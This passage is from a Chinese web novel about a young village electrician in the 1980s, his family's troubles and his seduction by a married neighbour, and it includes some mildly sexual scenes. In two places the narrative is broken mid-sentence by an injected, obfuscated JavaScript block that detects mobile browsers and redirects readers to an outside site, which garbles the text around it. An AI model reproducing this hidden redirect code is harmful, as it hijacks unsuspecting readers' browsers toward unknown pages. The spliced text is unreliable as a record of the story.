“甭羡慕那个,咋改革都不关咱农民的事儿,庄稼只要种就收,咱就靠老天爷赏饭,准成。” 可到底,耿长富还是没忍住。没过多久,他家的院子里拉来一车车的兽皮,主要是牛皮猪皮,摞成了小山。又过些日子,这些兽皮又被断断续续地拉走。 金光耀不知道耿长富挣了多少钱,只是发现以前安安静静的下院,开始变得不安分起来,每天晚上都开始聚集一些人跳迪斯科。 秀雅跟她丈夫一样瘦高个儿,眉眼间自带一股风流。虽是三个孩子的妈,可跳起舞来比大姑娘还浪。 “爸,我作业都写不下去了,天天晚上太吵了!” 金光耀家的儿子金山受不了他同学家的噪音。 这种歌舞升平的日子持续了有两个月,秀雅跟她丈夫完全变成了另外一种人。 他们不再是先前下地务农的穿着,耿长富喇叭裤紧身衣,秀雅一袭长裙凸显了好身材。 俩人跳双人舞时,把自己的三个孩子都看呆了。老耿家也一下子就成了村里的“娱乐交际中心”,流传出的绯闻不绝于耳。 这其中最出名的,要属村电工小王和秀雅的风流史。 小王大名王正,他老爹老王爬了一辈子的电线杆子,也没成为别人口中的“隔壁家的老王”,小王爬了不到一年,就爬上秀雅的床了。 王正跟着他爹先是爬了半年的电线杆子,学会了抄电表,把一双“铁鞋”(爬电线杆用的脚扣)使唤得贼拉溜,他爹看他渐渐地上了道儿,不到一分钟就“蹭蹭”爬上了6米电线杆子,自己腿脚也不利索了,早早退了下来。 之前王正有他爹带着,他不用咋说话。爬完电线杆,收电费,拿出电费本子,把这一期和上一期的数一减,老王随身带着个小算盘,噼里啪啦一打,该多少是多少,不容分说。 村里的电表基本都是三四家用一个杆子,也有遇着那嚼性的,需要费点口舌,非说是自己家上个月没咋用电,连电风扇都没舍得开,咋会这么多钱? 那电表同在一个杆子上的,另外一家邻居媳妇,听她这么说,也不干了,敢情自己省着用电,自己家这期电费少,倒像占她便宜了似的。 那电费不高不低的,中间那家,是一个小媳妇,她一句话不说。她知道这种情况下,电工必然得再爬一次电线杆子。 俩人吵着吵着,把之前因为隔障子(树枝等编成的篱笆),谁家多占了一点儿地,谁家少占了一点儿地的事,翻出来,一个比一个嗓门儿高,恨不得撕吧起来。 老王这种事见多了,把算盘一揣,回头对他儿子说:“你去上去再看看!” 没有他儿子在时,他是一定要自己上去再爬一次的,有了儿子,他可以歇歇了。 但是想到,还不到20的儿子,以后要和这些刁老娘们打交道,他不自觉发出一声叹息。 这功劲儿,其中一家吵闹媳妇的男人,从屋里趿拉着堆着后跟的黄胶鞋出来了。 老王一声吆喝“哎老六,正好……” 他招呼着,指着自己手里的电费本子,说道: “你媳妇说电数不对,这么滴,你把你家那梯子拿着,你自己亲自上去看看。” 这男人一幅不屑一顾地神情,扯着嗓子,冲他媳妇喊道: “一天净事儿,人家老王干一辈子了,啥前出过岔子,这死老娘们,猪圈里的猪都饿得嗷嗷叫老半天了,要不是你那大嗓门子比猪叫唤滴动静大,我还不知道你跑这儿来扯蛋来了。” 他媳妇瞪着眼睛瞅她男人一眼,扭身走了。 男人从披着的外套里摸索好半天,掏出压扁了的一盒烟,满脸堆笑地递给老王,老王摆手示意不抽,他又比划着给他身后的小王,老王连忙阻拦道:“他个小孩子抽啥!” “嗨,啥小孩子了,王正今年得20了吧,咱那阵儿,这岁数媳妇都娶家去了,看对象没呢?” 听见这话,王正本来就白嫩的脸颊,瞬间变得跟被火烧了一般。一直没说话那家的小媳妇也才20多岁,拿眼睛觑着他,搞得他更紧张了,干脆蹲地上假装摆弄那双“铁鞋”。 王正瘦高个,人长得相当周整了,王婶子的一双杏眼没传给他姐,倒长他脸上了,柔情又惹人爱。本来老王就这一个儿子,长得又一幅文化人的面相,没打算让他也爬一辈子电线杆子,毕竟这活儿风吹日晒的,挣的也不多,不是啥高级活儿。 但是奈何这小子上学不好好上,初中就跟人家姑娘眉来眼去的,处上对象了。也不知道啥时候的事,等着姑娘的爸妈,有一天晚上深更半夜跑到他家去,哭还不敢大声哭,生怕别人听见。撩开姑娘肚子,老王两口子才发现,自己那好儿子,给人家姑娘肚子搞大了。 那姑娘只是哭,老王气得,当场从裤腰上解下裤腰带,提着裤子给王正一顿抽,抽还不解气,到外屋地,拿起炉钩子(烧火用的铁钩子)就往儿子身上刨。 王婶子连哭带嚎跪地上,一手拽着丈夫,一手护着儿子。王婶子哭得稀里哗啦,也不知道抓哪了,两只手乱抓乱挠,给丈夫那没了腰带把持的裤子拽了下来,场面混乱又好笑。老王赶紧把手里的炉钩子扔了,两只手提上裤子,自己又羞又愧,气得又抬脚去揣儿子。 姑娘的爸妈生怕邻居听到动静,赶紧上前拉住,劝大家都冷静下来,一起合计合计咋办。 老王一看人家姑娘爸妈没说要往死收拾他儿子,放下心来。四个大人合计来合计去,觉得姑娘的名声重要,这事儿千万别走漏一点风声,就是死了,也带坟墓里去,别让活人知道就成。 老王两口子,发誓保证,这门亲事就这么定了,他们又逼着儿子也发誓。已经被吓懵了的王正,完全不知道咋办了,爹妈让干啥就干啥。 老王哆哆嗦嗦地问: “那你看,咱下个月就把婚事办了吧,虽然事儿出的尿性,但俩孩子两情相悦的,孩子也有了,至于彩礼,你们出个数,我这一个电工,家里条件不算太好,大不了,我让我外甥带我去下井,咋我也能凑够喽,这个你们放心。” 姑娘的父母一看,男方家诚意满满,也说不出个啥不是,只说“回去研究研究”,就领着姑娘走了。姑娘从头哭到尾,王正连眼睛都不敢抬一下。临走了,回头看看王正,还是一幅深情的样子,她妈一把给她拽走了。 俩人儿从见面到分手,一句话没说上。 这边,老王两口子一宿没睡。第二天早上,老王饭都没吃就奔他大姐家去了。 他大姐夫早年给别人拉货,碰了,如今就剩娘俩了。他外甥小宇也争气,早早辍学,经别人介绍下上井后,几年光景,把家里的茅草房换上宽敞的大瓦房了,院子里都铺的红砖块子,在刚出头的太阳照射下,白墙反着红光,煞是气派。 刚迈进院子,一条黄棕色的土狗就开始吠起来,等到老王走近了,它才不叫了,兴奋地摇着尾巴。 “弟啊,你这是干啥,一大早上火急火燎的?” 老王他姐刚从旁边的茅厕里出来,手上还系着红裤腰带。 见弟弟没说话,脸色极其难看,她又问道: “早饭还没吃呢吧,正好,今天小宇在家,我要打饼,整点儿鲜亮儿的小白菜汤,面都和好了。他昨晚夜班,才回来,搁炕上趴着呢,不知道睡着没,赶紧进来说。” 吃上大姐的饼,老王这心里胃里才算都舒服了。 小宇今年22了,还没张罗找媳妇,他说等再挣几年钱,手里活泛了,干点啥小买卖再找,下井这功夫,天天埋了吧汰的,找不到像样的。 “舅,你今天来有事儿啊咋的?”小宇问。 老王一直闷声吃饼喝汤,答非所问地回道: “宇啊,你们现在还招人不?” 小宇笑着说: “咋的,舅,你想让王正下井啊,可得了吧,他还没到18吧,人家不要。” “不是,我合计,看看我能不能去。” 老王低下头,老脸都没地方搁了。 “你可得了吧,你都多大岁数了,再说去了你也干不了,那一百来斤的铁梁还不把你压趴下,再说你净收电费来着,哪有那体力了!” 小宇妈妈手上还擀着饼,黄黄的豆油,把一双粗糙的手抹得油亮油亮的。她一边说着话,一边从锅里用铲子铲起一个煎得两面金黄的油饼,放在弟弟的盘子里。 “我不吃了,吃三张够了!”他说。 “吃吧,你不最爱吃我做的油饼吗,哪回没吃个十张八张的,赶紧的,一会儿凉了,现在外酥里嫩正好吃的时候。” 小宇一直吃着饼没说话,好半天才张嘴说道: “舅,我爸死那阵儿,多亏你帮扶着我们了,你是用钱吧,放心,我上个月工资发了,搁我妈那还没动呢,你先拿去用,不够的话,我这月工资也快发了。” “没有,哪有的事儿啊,我不是用钱,只是合计看看干点啥!”老王说。 他大姐如释重负一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718183|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般说道: “嗨!我还以为你遇到啥难事了呢,小正和他姐不是上学上好好的吗,学习还不错,你这天天收个电费,也不累,可别瞎折腾了。” 老王把咽到嘴边的话,又给嚼吧嚼吧吞回肚子里去了。他怎么好意思管孤儿寡母,靠着独生子不要命赚着血汗钱的大姐借钱呢,是个人,也说不出口。 老王肚子塞得溜满,心里空落落地回家去了。 当天晚上,老王他们家刚吃过晚饭,老王大姐就来了,手里拿着用油纸包的一摞早上烙的饼。 王婶子看大姐来了,早上丈夫回来跟她说了情况了,看这光景,心里也猜个八九不离十了。 心里一热,眼圈就红了,眼圈一红,嘴就把不住门儿了。 “大姐,你说你来就来呗,拿啥东西啊,留着给小宇上夜班当夜宵吃多好,小正就不像他哥似的懂事,净给我们闯祸。” 大姐一愣,说道:“小正咋的了?” 老王瞪了他媳妇一眼,就差上手推她了。王婶子自觉说错话了,既然答应人家姑娘家,不往出说,咋这么快就秃噜嘴了呢! “没有,就说这孩子还是小,前两天把仓房里我那腌酸菜缸摔碎了,干活儿不利索。” “嗨,不就是个酸菜缸吗,几个钱儿,半大小子毛里毛躁的,还不正常。”大姐说。 …… 就这么的,唠了半天东家长西家短,临走时,大姐才干正事儿。 她先是解开红绳系着的裤腰,从里面的衬裤内里缝着的一个小布袋里,掏出叠的整整齐齐的500块钱。 没等大姐说话,王婶子就把她的手按住了,极力往回推。 忍了老半天的眼泪,才顺着脸颊淌下来,她含含糊糊地说道:“大姐,这俺们绝对不能要,这是小宇卖了命挣的钱,俺们说啥不能要。” 大姐笑道: “嗨,咱们谁跟谁,再说我不是给,是借,咋还不想还咋的?” 老王这功劲儿也绷不住了,家里出了这么一档子见不得人的事儿,大姐虽然不知道内里,却还是掏出老本儿帮助他,他这做弟弟的又感动又愧疚。 转过身,用胳膊肘带了一下眼睛,他笑着说道: “大姐,你别听风就是雨的,我真没啥事儿,眼瞅着小正也大了,我合计给他攒点儿结婚钱,哎呀,你还真当个啥屁事儿了。” “当真啊,你没骗我!别跟我藏着掖着的啊,有啥事儿赶紧说,我看你愁眉苦脸的,还以为发生啥大事儿了!”大姐埋怨道。 老王连忙应和:“真的,骗你嘎哈啊,我一早上胃不咋舒服,跑你那吃点饼喝了点汤,好多了。” 大姐不相信似的,把钱扔在炕上,说道: “你啊,别忽悠我,从小你撅起屁股,我就知道你要拉啥样儿的屎,赶紧拿去用,回头再还我,我走了,唠半天了!” 大姐连忙就往屋外走。 王婶子赶紧撵上去,拽胳膊拽膀子的,俩人儿一顿撕巴,推推搡搡地,从房门口给大姐推到大门口了。 大姐手里还攥着那被团巴不像样的500块钱,说道: “你瞅瞅你们,有啥事儿还不跟我说,那我先揣着,回头用了找我啊”。 老王连忙说:“赶紧揣起来吧,让人看到不好。” 大姐没办法,只得又对着墙角操作一番。 老王送她到大路口,看着大姐摇摆着臃肿的身躯,渐渐消失在夜色中,心里难受极了。 他缓慢地往家走去,从裤兜里摸出一根烟,点着了。 黑暗中,只看得到烟头上的火星随着呼吸忽明忽暗的,吐在空气里的烟圈已经完全淹没在浓重的黑漆一样的夜里。 八点多钟,有那睡得早的人家已经睡了;那没睡的,为了省电,把屋里灯都关了,那一闪一闪的窗户上跳动的光影,是电视发出的光。 偶尔遇到那讲究的人家,大门廊上挂着一盏昏暗的小灯,才瞧得见老王嘴里吐出的烟圈在空气中盘旋,继而消散,没了形状。 这半包烟还是上个月,村儿里的王会计给他的,他俩交情不错,但是也仅限于工作上的同事,找人家借钱就说过不去了。 走一步看一步吧! 他们一家子如坐针毡地,左等右等,等了半拉月了,也没见到姑娘父母的影子。 王正自打姑娘来家那晚,第二天他就不上学了。一个是因为没脸,再一个他也学不进去了,早早品味了男女之事,梦里都是那档子事儿。 老王合计他下个月也得当新郎了,还上个屁学了,等着先糊弄着把婚结了,看看跟着他爬电线杆子,将来接他的活儿了,只能是。所以干脆就不管他了。 但是眼瞅着一个月都要过去了,姑娘家也没露面,老王这才慌了。 5. 80年代 啥个情况?不能又整出什么幺蛾子,再给他儿子告了啥的吧? 当王正领着他老爹,找到二五队的姑娘家时,才发现她家大门紧锁,院里一点儿动静也没了。老王手里拎着两个果匣子,把他儿子手里的那袋水果接过来,示意他跳进院里去看看。 王正趴着窗户看了半天,也没看见一个人影儿。 等爷俩正打算离开时,下院儿邻居大婶儿走了过来,把爷俩上下打量一番,问道:“你找老于家啊?” “对对”老王连忙点头说道。 “他们家上月搬走了,房子还委托我帮着卖呢!”她说。 王正一脸错愕,老王尽量保持镇定地问:“你知道他们去哪了吗?” “搬城里去了,投奔小丫她二姨去了,人家城里有几个硬亲戚。” 大婶说着,开始不停地打量王正,问道: “你们和他家什么关系啊,不知道啊?” “啊,嗨,朋友,之前打过交道,有阵子不联系了,合计过来看看,那行,我们回走了,谢谢你了,大姐!” 老王一边说,一边拉着儿子就走。 等走到路口时,王正回头瞅了一眼,那邻居大婶还看着他们爷俩呢! 老王心里的一块大石头总算落了地,长吁一口气,抬头看看天,多少日子了,才发现天是亮的。为着这件事儿,他已经憋屈得要死了,胡思乱想,担惊受怕,又考虑儿子的将来,又考虑自己的脸面,没想到,都白折腾了。 咋也不会想到,他们这肇事者没跑,受害者竟然跑了。 过不些日子,王正就被他爹撵回学校去了。总算勉强着把初中读完,高中他又不想念了。自打那事儿以后,他学习也跟不上了。老王打也打了骂也骂了,啥也不好使。可是想着他回家,只有跟着他爬电线杆子的路可走,狠下心来,还是逼着他去上学,咋也得高中毕业。 没等高三念完,王正彻底赖家里不去上学了,他姐去读了技校,可他就是个烂泥扶不上墙的样儿,没辙,只能带着他爬电线杆子了。 这就是命,该着! 老王不是没试过,他托城里的亲戚给他找活儿,去酒店门口当过半年保安,挣不下几个钱儿,吃住都在亲戚家,也不是个事儿。后来他又在工地干过零活,老王和媳妇去城里看到细皮嫩肉的儿子,窝在臭气熏天的工棚里,鼻子一酸,差点没哭出来,到底给领回来了。 城里看来不是人呆的地方! 回来,村儿里谁要问咋不闯了,回来了呢?老王必定要把城里贬的一无是处,最后来一句“都赶不上咱矿上”,那听的人必定要应和:“可不咋的,全中国有几个咱矿上这条件,要啥啥都有。” 所以,老王再不甘,他儿子最后还是成了跟他爬电线杆子的那个人。 但是,让老王奇怪的是,他儿子初中就会处对象,现在大了大了,让他处,他反倒不处了。 二五队老李家的姑娘高中毕业,模样也俊,可他听说二五队的,说啥不见面。给他老娘气得骂他: “那都多少年前的事了,一个队的咋的,又不是一个老母鸡下的蛋,你还挑巴上了,之前那烂事儿早都烂肚子里了,也没人知道,你还没完了。” 就是别人介绍,见了面,他也总是这不满意那不满意,总之就是不结婚。 老王严肃认真了一辈子,碰到这么个难搞的主儿,心下也是积了不少怨气。好在,他爬电线杆子倒不含糊,干了快一年了,没弄错一个电字儿! 这点倒是随了他! 所以,只要老王有闲功夫,一般都会陪着儿子去收电费,他帮着算账,儿子负责爬电线杆子,爷俩搭配得倒还挺好。 这年冬天雪落得早,十月还没过,就下上雪粒子了。有那懒的人家稻子还没收完,搁地里一簇簇地戳着呢! 还没到冷的时候,地还没冻上,所以下完雪,路上黏糊糊的,走在上面,一不小心就一出溜。王正这天早上收拾完装备,就跟他爹说: “爸,你别跟着了,我一个人今天整到哪算到哪,外面路不好走。” 老王一早上倒炉灰渣子时,就发现天阴沉沉的,保不齐今天有场大雪,当下就寻思着,儿子第一冬干活儿,他得陪着去。得把那双他早就备下的新棉手套给他带上,又到了最难熬的日子,他怎么舍得儿子一个人干。 王婶子见儿子知道心疼他爹,心里高兴,就对丈夫说: “儿子不让你跟着,你就别跟着了呗,这大冷天的,你那算盘子也不好打,人家计算器不比你那玩意快多了!” “胡扯,算盘咱老祖宗都用几千年了,那玩意新出的,跟个玩具似的,还有我这准成?”老王眼睛一横,直冒火星子。 王正也是服了,每次他拿出计算器都算完数了,他老爹在旁边总要从黄布包里掏出算盘再打一遍。搞习惯了,有时他自己去收电费,总有人问他: “整准成了啊,听不着你爹那算盘动静,总感觉心里像不踏实似的,你等我拿笔再算一遍!” 就这样,搞得他的工作进度更慢了。所以,他打心里还是不希望他爹跟着的。 老王一路跟儿子嘟囔着,冬天抄表,要注意的事儿,什么一定要戴上手套,虽然不方便,但是水泥杆子冻实心了,比大冰块子还凉,手冻伤,就没法抄表了;什么电线一到冬天就结冰溜子,容易断,没事儿得检查检查;什么电表被冰雪盖住后,不能上去就用凿子凿…… 王正一声不吭地走在路上,不时发出“嗯嗯”的声音回应他爹。 为了让儿子不用费劲摘手套抄电表,老王这回站在杆底下让儿子报数,他在底下抄,然后再跑到村民屋里收费。 天冷,也没有人在院里跟着扯闲磕了,爷俩工作进度很快。 老王合计着,要赶在落雪前,把活儿干完。要不北风烟雪的,儿子爬电线杆子就费劲了。 村里的大部分电线杆子都立在三家障子的交汇点上,有那不计较的,也有在其中一家园子当间的。 村民们一般都把房子建在最高处,所以园子和房子中间总要有个大坡。有条件好的人家,拉来一车红砖,把那个坡修成阶梯式的,干净还好走;有那条件不好又懒的,连用锹平整平整的心思都没有,就用脚踩出一条路,算是那么回事儿。 大家要是去园子摘点菜,碰到邻居也在摘菜,就会打招呼说“你也下园子啊”。 要是没有那个坡,下园子真跟下坑里差不多。 可怜老王爬上爬下,跑里跑外,搞得一身汗。王正说了好几回了“爸,你不用跟着我,跑来跑去的,别再摔喽!” 老王不服老,倒把他一顿说: “你这孩子,让你怎么的就怎么的得了,我还没老到那程度呢,再说以前我一个人咋干的?你帮我干的啊?” 王正不敢言语,只得作罢。 但是越怕啥越来啥,眼瞅着到晌午了,天上慢腾腾地开始飘起大雪花片子来,不一会儿就落了地上薄薄一层。老王一个不注意,倒是从老葛家后园子那个坡上摔了下来,别人家园子起码有条路,他家干脆连路都没有,杂草长到一人来高,干巴巴地在那立着,路也不好走。不过,也多亏这些草了,帮他挡一下,不至于把老王一把老骨头摔断。 当时,王正正从电线杆子上往下走,听见动静,吓得他直接从上面蹦了下来,一双铁鞋都甩飞了,踉跄着奔了过去。 村医务室的白老爷子,跟老王有多少年的交情了。他大口喝了一口藏红花酒,并不咽下去,腮帮子鼓鼓的,然后收紧肚子,运着这股气,喷在老王红肿的脚腕上。老王顿时感到一股渗入肌肤的冰凉,嘿嘿地笑了起来,一边嘟囔着:“我说没事儿吧,老白大哥给我整完,我就能下地!” 白老爷子并不理睬他,嘴里还含着酒,只瞪着一双眼睛,似乎在警告他“别瞎说”! 临走,白老爷子嘱咐王婶子“这半拉月就别下地了”,又转头对王正说:“你爸要实在不愿意在屋里上厕所,你得扶着他,那只脚千万别着力,过几天我拿副拐过来!” 老王在屋里炕上听见,笑嘻嘻地说:“嗨,哪有那么严重,大哥你别吓唬我!” 白老爷子隔着窗板子说道:“你离瘸啊,就差一副拐了,可别再嘚瑟了,我走了!” 第二天,王正合计在家照顾他爸,就跟村里请了假,但还是被老王撵走了。 “天大的事儿,也不能耽误工作。” 老王虽然担心儿子,但是偏偏自己不争气,还没到五十,身体先跟不上了。 王正这是第一次进到秀雅的屋子里头。 以前俩人儿虽然见过,但也只是打过照面,每次都是他老爹收费,所以他或是远远地站着,或是隔着园子,看见人群中一个高个的女人谈笑风生,肢体动作很夸张,笑着笑着弯了腰,有时来股风,把带着长尾音的娇俏送进他的耳朵。 有时,他老爹从他家出来,会带着不屑的神情说道: “这一家子,没一个正形的。” 王正啥都懂,有时他中午在炕上眯着,会听见他妈跟隔壁婶子在窗根儿底下,压低了声音,说他们两口子的风流韵事,让他不由得对秀雅这个女人平添了一种神秘又恐惧的感觉。 所以,这天收电费收到秀雅家,他的心早早就开始突突起来。天挺冷,可他后背都汗湿了,也不知道是累的,还是咋的。 已经是中午了,他心里合计着收完她家,就回家吃饭,下午接着干。敲了半天门,没动静。 一般人家的老娘们,在屋里隔着窗户看见电线杆子上趴个人,这边就准备出来大约摸的电费了,或是直接推开门,打个招呼,意思家里有人。 遇到家里没人的,一般他都会趴窗户瞅瞅,确定没人了,他就记上,等回头再来收。但是秀雅家,他不敢趴窗户,生怕看着啥不该看的,于是直接就在本上记上了。 正写着呢,门开了。 秀雅顶着一头卷蓬蓬的头发,前刘海又短又卷,露出白皙的额头,一双细眉下的桃花眼,水汪汪的,眼周略带粉晕,不知道是刚睡醒的缘故,还是涂了脂粉,眼尾微翘,笑起来像月牙一样下弯,眼睛黑白并不分明,给人一种似醉非醉的朦胧感。 她裹着小夹袄,倚在门框上,冲着他笑。 “我正搁炕上睡晌午觉呢,听着像有人敲门,一会儿又没了,还以为谁呢?进来吧!” 红唇轻启,发出的声音,不是东北老娘们那种刺耳的大嗓门,而是软糯的,像是果匣子里,王正最喜欢吃的那种糯米糕。 他只看她一眼,就不敢再看第二眼了,低头看着本子上说道: “啊,婶子,不用了,我不进屋了,这期电费数总共是……” “啥?你管我叫啥?” 没等王正把话说完,秀雅噗嗤一声笑了出来,一手捂着嘴,腰一软弯了下去。那没有手把门的夹袄领子瞬间开了,露出白花花的一片,恍惚中看到没受任何约束的两大坨,在轻薄的布料下跳动。 王正被眼前的景色恍的慌了神儿,目光不知道该往哪放,已经能感到烙铁一样热的脸,在冷风中被吹得更热了。 他转过身去,恨不得,现在拔腿就跑。 只听那个糯米糕依旧在笑着说道: “你也就20吧,我也就比你大个七八岁,我生日小,腊月前生的,你叫我姐就行了。” 见王正没反应,她又说道: “走哇,进屋,我穿的少,冻死我了,电费本子搁柜子里呢。” 王正这功劲儿,就跟吃了一盒子糯米糕了一样,心里胃里都堵的满满的,两只脚跟灌了铅似的,咋挪挪不动,他好像脱离了这幅躯壳,飘在了外面。 “走哇,瞅你那熊色(读sǎi),还怕我吃了你咋的,我可不吃小孩儿!” 他迷迷瞪瞪地跟着秀雅进了屋。 经常串门子的人都知道,每一户人家有各自独特的气味,尤其是天冷的时候,关门关窗户,这种气味更明显。 像王正这样的电工,挨门挨户的走,鼻子都训练灵敏了。有时想不起来这户人家姓啥,但是一进屋闻到味儿,他就想起来了。 他也总结出了规律,老两口子住的屋子基本都带点酸味,干净的混着肥皂味,不干净的则是酸臭的;刚生了奶娃子的小年轻家,屋里有股甜腻腻混着屎尿的甜臭味;至于普通人家基本都是干巴巴的,容易附着上其他味道,或是刚吃过晚饭,他家爱吃蘸酱菜,屋里总是飘着鸡蛋酱的味儿。 但是秀雅家完全不同,一进屋,一股子暖烘烘的奇香,让他差点醉了。照理说,她家新盖的三开门大瓦房,里面应该一股油漆味才对。 王正不敢多想,也不敢进屋,就在门口站着,也没关门,冷风呼呼地往里灌,裹挟着热乎气儿快速地冲到内屋。 “进来呀!把门关上,怪冷的!” 从内屋中传出的声音一波三折,带着一点嗔怪,但是你知道她一定是笑着说的。 王正哆哆嗦嗦地拉上门,随即又快速地推开,又拉回来,好不容易半开着,一股风又给吹上了,好在它又被风稍微吹开了一点,总算是撬个不大不小的缝儿。 屋里并不是老式的通屋大炕,只有一铺小炕,玫粉色的绸缎被子还窝在那,看那形状,就知道秀雅才从那暖被窝里钻出来。旁边是一张淡紫色的席梦思床,墙上贴着明星海报,同样淡紫色的排柜上,一对红琉璃花瓶里插着粉紫的假花,一簇簇的,像真的似的。柜子的描花玻璃门里,放着一台最新款的21寸大彩电。 王正只觉得眼前姹紫嫣红的,眼睛都睁不开。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718184|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头接过本子,在上面写上抄表数和钱数,打从进这屋子开始,心脏就跟打鼓似的,他只想着赶紧离开这屋子。突然,那股子糯米糕的香甜直往鼻子里钻,随即胳膊肘触到了从没感受过的柔软。 他要爆炸了! 不过很快,那柔软就消失了。 “总共13块8毛是吧?” 秀雅看完王正本子上记的钱数,从一个金色亮面的皮夹里往出抽钱。王正看到她染得通红的指甲,赶紧把头低得更低了,这一低又瞧见了粉色拖鞋口,露出的白嫩的同样涂着红指甲的脚趾头,像一个个探着头的小兔子。 王正一句话不敢说,也说不出来,生怕一张嘴,心脏从嗓子眼儿跳出来。 等到总算是回到冷风中,他脸上的温度才渐渐降下来。 那一天,他都恍恍惚惚的,勉强撑到晚上回家,晚饭都没吃,就睡了。老王两口子,看儿子辛苦,也没喊他。 但是他半夜就醒了,裤子湿了。 他得赶紧洗了,省得第二天早上他妈问,但是不敢开灯,他拉开窗帘,就着月光,赶紧用盆里的水搓了。 再躺下,就咋也睡不着了。 满脑子都是秀雅,满鼻子都是糯米糕那味! 第二次见面,王正正在电线杆子上。这回,秀雅正在院里隔着墙头和同样是村花的白小双唠嗑呢。 也不知道谁评的,都说四五队有三大村花,秀雅、白小双和金老三那个懒媳妇杏花。白小双比秀雅大几岁,秀雅一口一个“姐”,亲密的叫着。 金光耀和白小双两口子,虽然靠养车挣钱,可也还是半个庄稼人,下院的那些动静,让他们两口子下定决心,以后少与他们来往。 但是秀雅总是有事儿没事儿的黏糊着白小双,上矿逛街要找她,下个大酱,腌个酸菜的,总要找白小双,嘴又甜,说什么: “姐,你的手像是香似的,这白菜搁你手过一遍进缸里,就好吃,我自己动手腌那玩意,不咋回事儿,就是一股臭味。” 因为这事儿,金光耀没少跟她生气。 “你就是傻,她一天涂脂抹粉的,就是懒得干,那腌酸菜不得把指甲盖的色儿(sǎi)弄掉喽,拿几句好话忽悠你,你就信,以后离她远点儿。”他说。 虽然白小双也明知道是这么个事儿,她也从来不去下院跳舞啥的,可到下次秀雅再找她帮忙,她还是乐不得的去。 用她的话说,她可抹不开那个面儿! 白小双家就是那种不计较的人家,她和秀雅家共用一个电线杆子,但是杆子却立在了白小双家的园子里。 电线杆子离院里很近,所以她俩有一搭没一搭的唠嗑,王正都能听见。 “姐,你家我姐夫又出车去了吧?走几天了?” “这回远,出省了都,走一个礼拜了,但我约摸着总是这两天就回来了。” “俺家你妹夫也出远门了,今儿早上天刚蒙蒙亮就走了,说是得去个十天半拉月的。” …… 这边电线杆子上的王正,听得心直突突。 从白小双家园子里的红砖甬路上,一直走,拐出个月亮门,就到内院了。 穿着小花袄的金秋正在用小锹戳着墙角残余的一点儿积雪,她的两个脸蛋儿冻得红扑扑的,两只小胖手儿也冻得通红。 王正摘下手套,用一个手指头刮了一下她肉嘟嘟的脸颊,问道:“你怎么还不上学啊?” 金秋大声说道:“我哥哥上学去了,我妈说我来年春天也上学了。” 王正笑了笑,从白小双手里接过电费,他望了一眼墙头,合计要是秀雅从那边递过来,他就不用过去了。 但是半天也没动静。 他只得又回到白小双家的园子里,从障子旁边的缝隙走到秀雅家的园子。 他已经以最慢的速度往她家走了,等着她从那个镶着绿瓷砖的房子里出来,可是那门却一动没动。 想起刚才她说的话,他眼睛里都要冒出火来了。 大白天的,谁还敢,咋的? 不知道为啥,想到这句话,明知道不可能,脑海里却演了几千几万遍了。 他不是没经历过这事儿,和初中那女友,刚开始只是拉着手,后来亲了个嘴儿,再后来就在大地里的一个西瓜棚子里给做了。 这玩意儿,有了第一次就有第二次。 但是心里越知道不该做,但是不知道为啥,想做的心思更重了。 当王正敲完门,壮着胆子走进去后,他就知道他完了。 秀雅以为他是个毛头小子,不曾想,他扑上来就是一顿啃。 秀雅连忙推着他说道:“哎,等会儿,等会儿,你将来不结婚啦,你先搁这门出去,绕到后园子假装走,然后再从后门进来,那边有一排树,一般人儿看不着!” 王正被她这么一说,脑袋“轰”的一下,似乎魂儿又回来了。可不咋的,他进门邻居都瞅着呢,老半天不出去,那不是等着人嚼舌根么! 出了门,冷风吹得他一个激灵,浑身像烧的火红的炭火一下子被水浇了,冒出一股烟。走在路上,他想到不再进屋了,她这么有经验,可见他早不是第一个这么干的人了。 但是一想到,她那副妖媚样儿不只给他一个人看过,他就又醋又气,征服欲一上来,还管那些个了? 再说子·弹已经上膛,哪有不放的道理! 他觉得第二次再进那个屋,他已经不是进门前的那个容易害羞的王正了,眼睛红红的,像是一头恶狼。 有经验的女人和没经验的女人是完全不同的,或者说有经验的女人才叫女人,没经验的应该叫姑娘。姑娘就像是一个红苹果,赏心悦目,吃一口,甜到心里去;但是女人可不是,女人像香蕉,不吃着内里,不知道那种香甜要比苹果甜上多少倍。 王正哪见到过这种人间极品,恨不得长她身上。 话说下一家的老娘们,就好盯着秀雅家,眼瞅着电工小王走到了秀雅家的后园子,但是他没从园子里过来,而是直接朝大门拐过去了。那几棵大杨树正好挡住了她的视线,害得她不得不从屋里走出来,抻着脖子看,但还是没看到他的影子。 她回屋对老头子说: “哎,你说收电费那小王怪不怪,从前院儿出来,没上咱家,也不知道是直接走了?还是没走呢!” 老头子手里卷着旱烟,骂道: “我发现你这老娘们一天净能嚼老婆舌,人家老王之前也有先上旁边老李家的时候,你咋不说,这阵儿搁这瞎操心。” “哼,我看啊,就那个前院儿的狐狸精准没干好事儿,勾搭多些了,我是看这个小王人不错,别着了她的道儿!”婆子说道。 老头子卷好了烟,抽上了,浓重的烟熏得他眼睛眯眯着,没说话。 6. 80年代 话说,旁边老李家的小娘们儿,巧不巧地也在和丈夫说着同样的话: “哎,你说,往常这个点儿,早都来收电费了,这咋还没来呢?” 她丈夫在炕上趴着看电视,说道: 